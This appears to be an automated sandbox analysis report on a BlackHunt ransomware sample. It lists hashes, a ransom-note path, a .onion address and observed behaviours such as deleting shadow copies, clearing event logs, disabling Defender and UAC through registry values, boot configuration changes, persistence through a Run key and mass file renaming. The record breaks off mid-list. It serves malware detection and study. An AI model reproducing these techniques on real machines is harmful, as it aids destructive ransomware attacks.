Analysis
-
max time kernel
117s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
18/01/2024, 22:48
Static task
static1
Behavioral task
behavioral1
Sample
261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe
Resource
win10v2004-20231215-en
General
-
Target
261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe
-
Size
707KB
-
MD5
17a84e6507d2017718a2b31706283d5c
-
SHA1
8aed9b4326788ac7052004ed91d2069235193783
-
SHA256
261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d
-
SHA512
212e349db4aa70cd3a4d77bc458a0663af5e1748bb3587c62ba8038ec96b034e13c816ce66413a9f231c2e0bb5a43082b7cdd0b5309403e44a331d40d8f545d0
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1O8Cvnh:6uaTmkZJ+naie5OTamgEoKxLWNMh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 2 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2908 fsutil.exe 476 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Clears Windows event logs 1 TTPs 5 IoCs
pid Process 3132 wevtutil.exe 1724 wevtutil.exe 2832 wevtutil.exe 1512 wevtutil.exe 3152 wevtutil.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
pid Process 1608 bcdedit.exe 1096 bcdedit.exe 1800 bcdedit.exe 3424 bcdedit.exe -
Renames multiple (2919) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2356 wbadmin.exe 1968 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Deletes itself 1 IoCs
pid Process 3144 cmd.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" vdsldr.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Enumerates connected drives 3 TTPs 27 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\E: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\I: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\L: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\Z: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\X: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\B: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\W: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\F: fsutil.exe File opened (read-only) \??\H: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\U: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\J: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\V: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\T: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\S: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\O: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\P: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\M: fsutil.exe File opened (read-only) \??\R: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\N: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\K: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\Y: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\A: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\G: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\M: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened (read-only) \??\Q: 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg" 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-profiler.xml 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jre7\lib\zi\SystemV\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\VideoLAN\VLC\THANKS.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Push\NavigationLeft_SelectionSubpicture.png 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Chuuk 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\id\LC_MESSAGES\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jdk1.7.0_80\db\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.ui.ja_5.5.0.165303.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jre7\bin\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\epl-v10.html 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-applemenu_ja.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jre7\lib\security\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.concurrent_1.1.0.v20130327-1442.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_zh_4.4.0.v20140623020002.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-remote.xml 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dushanbe 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jre7\lib\applet\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jre7\lib\zi\America\Kentucky\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-threaddump_ja.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\NavigationUp_SelectionSubpicture.png 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\InstallImport.pcx 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Antarctica\Macquarie 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\feature.xml 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.jasper.glassfish_2.2.2.v201205150955.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Efate 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\lt\LC_MESSAGES\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\7-Zip\Lang\yo.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\feature.properties 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.jobs_3.6.0.v20140424-0053.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Bogota 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\North_Dakota\Beulah 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Ceuta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Paris 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.properties 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\7-Zip\Lang\va.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Riga 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-execution_zh_CN.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\DisplayLanguageNames.en_US.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-8 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rcp.intro.zh_CN_5.5.0.165303.jar 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\#BlackHunt_ReadMe.txt 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File created C:\Program Files\VideoLAN\VLC\lua\http\js\#BlackHunt_Private.key 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Center 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe File opened for modification C:\Program Files\Java\jre7\lib\logging.properties 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 988 schtasks.exe -
Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 768 vssadmin.exe 2640 vssadmin.exe 2812 vssadmin.exe 1552 vssadmin.exe 596 vssadmin.exe 2240 vssadmin.exe -
Kills process with taskkill 1 IoCs
pid Process 3468 taskkill.exe -
Modifies registry class 10 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 536 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 3476 mshta.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeRestorePrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeBackupPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeTakeOwnershipPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeAuditPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeSecurityPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeIncBasePriorityPrivilege 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe Token: SeBackupPrivilege 2628 vssvc.exe Token: SeRestorePrivilege 2628 vssvc.exe Token: SeAuditPrivilege 2628 vssvc.exe Token: SeBackupPrivilege 2800 wbengine.exe Token: SeRestorePrivilege 2800 wbengine.exe Token: SeSecurityPrivilege 2800 wbengine.exe Token: SeSecurityPrivilege 3132 wevtutil.exe Token: SeBackupPrivilege 3132 wevtutil.exe Token: SeSecurityPrivilege 1724 wevtutil.exe Token: SeBackupPrivilege 1724 wevtutil.exe Token: SeSecurityPrivilege 2832 wevtutil.exe Token: SeBackupPrivilege 2832 wevtutil.exe Token: SeSecurityPrivilege 1512 wevtutil.exe Token: SeBackupPrivilege 1512 wevtutil.exe Token: SeSecurityPrivilege 3152 wevtutil.exe Token: SeBackupPrivilege 3152 wevtutil.exe Token: SeDebugPrivilege 3468 taskkill.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3004 wrote to memory of 2140 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 29 PID 3004 wrote to memory of 2140 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 29 PID 3004 wrote to memory of 2140 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 29 PID 3004 wrote to memory of 2140 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 29 PID 3004 wrote to memory of 2296 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 30 PID 3004 wrote to memory of 2296 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 30 PID 3004 wrote to memory of 2296 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 30 PID 3004 wrote to memory of 2296 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 30 PID 3004 wrote to memory of 2372 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 31 PID 3004 wrote to memory of 2372 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 31 PID 3004 wrote to memory of 2372 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 31 PID 3004 wrote to memory of 2372 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 31 PID 3004 wrote to memory of 1568 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 32 PID 3004 wrote to memory of 1568 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 32 PID 3004 wrote to memory of 1568 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 32 PID 3004 wrote to memory of 1568 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 32 PID 3004 wrote to memory of 2320 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 35 PID 3004 wrote to memory of 2320 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 35 PID 3004 wrote to memory of 2320 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 35 PID 3004 wrote to memory of 2320 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 35 PID 3004 wrote to memory of 2704 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 39 PID 3004 wrote to memory of 2704 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 39 PID 3004 wrote to memory of 2704 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 39 PID 3004 wrote to memory of 2704 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 39 PID 3004 wrote to memory of 2732 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 40 PID 3004 wrote to memory of 2732 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 40 PID 3004 wrote to memory of 2732 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 40 PID 3004 wrote to memory of 2732 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 40 PID 3004 wrote to memory of 2804 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 42 PID 3004 wrote to memory of 2804 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 42 PID 3004 wrote to memory of 2804 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 42 PID 3004 wrote to memory of 2804 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 42 PID 3004 wrote to memory of 2816 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 43 PID 3004 wrote to memory of 2816 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 43 PID 3004 wrote to memory of 2816 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 43 PID 3004 wrote to memory of 2816 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 43 PID 3004 wrote to memory of 2944 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 45 PID 3004 wrote to memory of 2944 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 45 PID 3004 wrote to memory of 2944 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 45 PID 3004 wrote to memory of 2944 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 45 PID 3004 wrote to memory of 2700 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 46 PID 3004 wrote to memory of 2700 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 46 PID 3004 wrote to memory of 2700 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 46 PID 3004 wrote to memory of 2700 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 46 PID 3004 wrote to memory of 2780 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 48 PID 3004 wrote to memory of 2780 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 48 PID 3004 wrote to memory of 2780 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 48 PID 3004 wrote to memory of 2780 3004 261c6e1b68fe9f4fb0e788e46c463ba770fc6660531175ea0a20255ef700b48d.exe 48 PID 3004 wrote to memory of 2352 3004 